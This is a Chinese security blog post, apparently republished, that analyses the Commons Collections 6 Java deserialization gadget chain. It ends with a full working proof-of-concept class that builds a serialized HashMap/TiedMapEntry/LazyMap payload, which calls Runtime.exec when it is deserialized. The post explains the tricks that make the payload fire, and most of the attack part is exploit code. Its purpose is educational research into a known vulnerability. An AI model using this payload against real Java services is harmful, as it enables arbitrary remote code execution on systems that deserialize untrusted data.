CommonsCollections6利用链分析

news2024/12/28 6:04:55

目录

(一)利用链

(二)代码分析

0x01 TiedMapEntry

0x02 HashMap

(三)POC:


(一)利用链


先来看 ysoserial 中的利用链:

/*
    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
 
    by @matthias_kaiser
*/

CommonsCollections1利用链分析_jinyouxin的博客-CSDN博客

可以看到,CC6链从LazyMap类开始的后半部分和CC1链是相同的,只是前面没有使用AnnotationInvocationHandlerreadObject()的作为反序列化的入口了,从而解决了在java 8u71 版本之后无法使用CC1链的问题。CC6链的前半部分和URLDNS链比较像,都是利用了HashMap类在计算hash值时调用 key.hashCode()的方式,进入到 TiedMapEntry.getValue()方法,再到LazyMap.get()的。

(二)代码分析


 

从上面的调用链我们不难分析出,cc6链和cc1链在ChainedTransform中的 x.transform()的调用出现了不一致,在LazyMap.get()中正好触发了此方法,

0x01 TiedMapEntry


首先我们从 LazyMap.get() 这里开始向上找,希望找到一个调用了 Map.get() 方法的函数,这里的Map需要可控。我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue()⽅法中调⽤了 this.map.get() ,⽽其 hashCode()⽅法调⽤了getValue()⽅法:

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
 
    private static final long serialVersionUID = -8453869361373831205L;
 
    private final Map map;
    private final Object key;
 
    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }
 
    // ...
 
    public Object getValue() {
        return map.get(key);
    }
 
    // ...
 
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }
 
    // ...
}

0x02 HashMap


所以我们需要接着找能够调用 TiedMapEntry.hashCode() 的方法,这时候就想起上午刚总结的URLDNS链是通过HashMap在反序列化时候其 readObject()函数会循环每一个键值对放入到HashMap中,而在放入每一个键值对的时候会计算key(hash)值,触发key.hashCode()方法:

URLDNS利用链分析_jinyouxin的博客-CSDN博客

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
 
    // ...
 
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

这里跟进12行的hash(key)值:

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

可以看到第三行 key 不为空的时候就会去调用用 key.hashCode(),这时候我们只需要把 key 设置为构造好的 TiedMapEntry 对象就可以实现任意代码执行了。

  • 由上面分析思路,可以写出如下POC:
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] { Object.class, Object[].class },
                        new Object[]{ null, new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] { String.class },
                        new String[] { "calc" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
 
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
 
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
 
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

(三)POC:


注意由于hashMap在序列化的时候就会自动触发hashCode,所以我们要通过反射机制进行处理,如下代码:

// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);

但是此时测试就会发现,反序列化的时候并不会触发这条链,这是怎么回事呢?这里还是跟24行的 expMap.put(tme, "valuevalue")有关。我们先来调试一下,在 expMap.put(tme, "valuevalue"); 打下断点:

图 3-1 HashMap()中的put方法调试

  •  步入,跟着我们构造好的整条利用链去调:
expMap.put(tme, "valuevalue") ==> TiedMapEntry.hashCode() ==> TiedMapEntry.getValue() ==> LazyMap.get(key);
图 3-2 map中的get()对key值进行判断

 

到了LazyMap.get(key); 这一步的时候,这里有一个判断,我们传入的map,也就是上面的innerMap中是否有这个 key存在,此时这个innerMap里面啥都没放呢,那肯定是没有的,因此就会进入到循环中:先触发一次 factory.transform(key),这里的 factory 也就是构造LazyMap时候传入的Transformer,从而先触发一次利用链,这里就是上面使用fakeTransformer 的根源;然后再到 map.put(key,value),这里会把我们传入的key(示例的值是keykey)放到innerMap中,导致了反序列化再碰到这个if 判断的时候会判断这个map里面是有这个key存在的,因此就不会执行到里面的 factory.transform(key) ,进而无法触发利用链。

/*
 Gadget chain:
 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()
 
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
 
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()
 
org.apache.commons.collections.functors.ChainedTransformer.transform()
 
org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()
*/
 
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
 
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
 
public class CC6 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] { Object.class, Object[].class },
                        new Object[]{ null, new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] { String.class },
                        new String[] { "calc" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
 
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
 
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
 
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
 
        innerMap.remove("keykey");
//        System.out.println(outerMap.isEmpty());
 
        // ==============
        // 将真正的transformers数组设置进来
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain,transformers);
 
        // ==============
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(expMap);
        oss.close();
 
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

利用过程在原理部分和代码分析部分分别简略和详细地分析了一遍,这里不再赘述了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/43290.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]SSM计算机毕业设计线上图书销售管理系统JAVA

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

三大O(nlogn)算法分析

堆排序 demo 从第一个父节点开始&#xff0c;每一个都调换自己和所有子孙节点的上下层次调换&#xff0c;形成最大堆。然后进行堆分支调整 class Solution {public int[] sortArray(int[] nums) {maxHeap(nums);sort(nums);return nums;}public static void maxHeap(int[] n…

blender hardOps插件

hardOps将一些常用的功能整合在一起&#xff0c;方便调用&#xff0c;例如&#xff0c;平滑&#xff0c;倒角&#xff0c;标记锐边&#xff0c;添加修改器 打开hardOps 方法1&#xff1a;物体模式在舞台左侧选择hardOps图标 推荐用这个 方法2&#xff1a;这个插件的打开方式非…

C++【类型转换】

文章目录一、C语言的类型转换二、C的强制类型转换1.static_cast静态转换2.reinterpret_cast重新诠释3.const_cast小总结4.dynamic_cast动态转换一、C语言的类型转换 在C语言中&#xff0c;如果赋值运算符左右两侧类型不同&#xff0c;或者形参与实参类型不匹配&#xff0c;或者…

【PAT】数据结构树和图月考复习1

选择题 2-1 我们用一个有向图来表示航空公司所有航班的航线。下列哪种算法最适合解决找给定两城市间最经济的飞行路线问题&#xff1f; A.深度优先搜索 B.Kruskal算法 C.拓扑排序算法 D.Dijkstra算法 解析&#xff1a; 本题为单源最短路径问题&#xff0c;应选用dijsktra算…

【WMWare 克隆CentOS虚拟机 】解决克隆后 ip 冲突 主机名重复问题

前言&#xff1a; 当我需要搭建数据库主从复制集群时&#xff0c;不想再重新安装一遍 mysql &#xff0c;于是将安装好 mysql 的虚拟机克隆一份 一、克隆方法 鼠标右击虚拟机 ----> 管理 ----> 克隆 &#xff08;选择完全克隆&#xff0c;选择好位置&#xff0c;设置好…

python函数使用

目录 一.函数基本概念 1.函数是什么 2.使用函数的好处是: 3.为什么要学习、使用函数 二.函数使用 1.定义方法 2.函数的调用 3.注意事项 4.例子 三.函数中的参数 作用 注意 四.函数中的返回值 1.什么是函数返回值? 2.返回值的应用语法: 注意 五.None类型 一.函数…

Android茶叶进销存

功能描述: 该app主要实现了茶叶的进货、销售、供应商、客户的管理&#xff0c;是一个完整的小型进销存app&#xff0c;适合新手学习sqlite数据库的基本使用。具体功能如下&#xff1a; 一、个人业务管理子系统 1、客户信息登记、修改、注销&#xff08;客户管理&#xff09; …

[Linux](15)线程基础,线程控制,线程的互斥与同步

文章目录前言Linux 线程概念线程的优点线程的缺点线程异常线程用途使用pthread_createpthread_join线程退出线程id分离线程线程互斥问题&#xff1a;临界资源访问问题问题解决&#xff1a;互斥锁的使用RAII 风格的加锁方式可重入 & 线程安全死锁的概念线程同步条件变量生产…

[附源码]计算机毕业设计springboot春晓学堂管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

让我们进入面向对象的世界(四)

文章目录前言一. 初始多态1.1 多态是什么1.2 多态是怎么工作1.3多态的向上转型和向下转型二.多态的好处三.总结前言 前面我们讲过了&#xff0c;面向对象继承的特性&#xff0c;下面我们会根据多态来展开讨论&#xff0c;还是用熟悉的方式&#xff0c;让大家去了解这个疯狂的东…

软考证书具体用途--详细介绍

拿到软考证书的前提是对你自己今后的职业发展有帮助&#xff0c;用得到才能对你而言发挥它最大的好处。 软考证书的具体用途&#xff1a; 1.纳入我国高校人才培养和教学体系 目前&#xff0c;软考已经被纳入高校人才培养和教学体系。在很多高校中&#xff0c;软考纳入学分&a…

设置渐变边框色

如上图所示&#xff0c;需设置渐变边框色&#xff0c;左右边框颜色固定&#xff0c;上边框从左到右开始渐变&#xff0c;下边框从右到左开始渐变。 思考了很久&#xff0c;如果看作是一个div&#xff0c;则需要用到 border-image属性设置渐变色。也可以看作是两个div&#xff0…

北大学者发现,经常喝牛奶,增加中国人肝癌和乳腺癌风险

牛奶是生活中常见的饮品。牛奶含有丰富的蛋白质&#xff0c;钙元素等多种营养成分&#xff0c;能为人体提供充足的蛋白质和钙&#xff0c;增强人体的体质&#xff0c;提高免疫力。然而&#xff0c;无论是什么&#xff0c;物极必反&#xff0c;过量饮用也会对身体产生不利的影响…

2022Flink大数据比赛项目-焦点科技大数据编程大赛

文章目录0.数据获取1.需求概要2.数据标准2.1.输入数据格式2.2.输出数据格式2.3.数据主键及关系3.表详细1.order_info2.bill_info3.bill_item4.ord_pay5.ord_pay_log6.pay_method7.pay_bank_card4.开发工具、语言版本、工具版本5.赛题解答数据分流任务1任务2任务3小结附录0.数据…

股票详情接口是怎样开发的?

一般情况下&#xff0c;在量化市场中&#xff0c;投资者使用的辅助炒股软件就包括很多数据接口&#xff0c;特别是股票详情接口系统更为可见&#xff0c;不过在使用之前&#xff0c;也是需要提前了解清楚它的开发原理&#xff0c;以及使用规则等&#xff0c;那么它是怎样开发出…

麦芽糖-链霉亲和素maltose-Streptavidins链霉亲和素-PEG-麦芽糖

麦芽糖-链霉亲和素maltose-Streptavidins链霉亲和素-PEG-麦芽糖 中文名称&#xff1a;麦芽糖-链霉亲和素 英文名称&#xff1a;maltose-Streptavidins 别称&#xff1a;链霉亲和素修饰麦芽糖&#xff0c;链霉亲和素-麦芽糖 提供PEG接枝修饰麦芽糖&#xff0c;麦芽糖-聚…

易观千帆 | 2022年10月银行APP月活跃用户规模盘点

易观分析&#xff1a;易观千帆数据显示&#xff0c;10月手机银行服务应用活跃人数52285.79万&#xff0c;环比下降3.52%。手机银行服务应用月活规模经历了连续5个月的持续增长后&#xff0c;10月出现下降。 10月城商行手机银行服务应用活跃人数3565.56万&#xff0c;环比下降2…

线程的概念和创建【javaee初阶】

目录 一、认识线程 二、多线程程序 2.1 实现Java多线程程序 方法1 继承 Thread &#xff0c;重写run 方法2 实现 Runnable 接口 方法3 匿名内部类创建 Thread 子类对象 方法4 匿名内部类创建 Runnable 子类对象 方法5 lambda 表达式创建 Runnable 子类对象 三、多线程的…

Kamiya丨Kamiya艾美捷小鼠高敏CRP ELISA说明书

Kamiya艾美捷小鼠高敏CRP ELISA预期用途&#xff1a; 小鼠高敏CRP ELISA是一种高灵敏度的双位点酶联免疫分析&#xff08;ELISA&#xff09;定量测定小鼠生物样品中的C-反应蛋白&#xff08;CRP&#xff09;。仅供研究使用。 引言 急性期蛋白质是血浆蛋白质&#xff0c;其在感…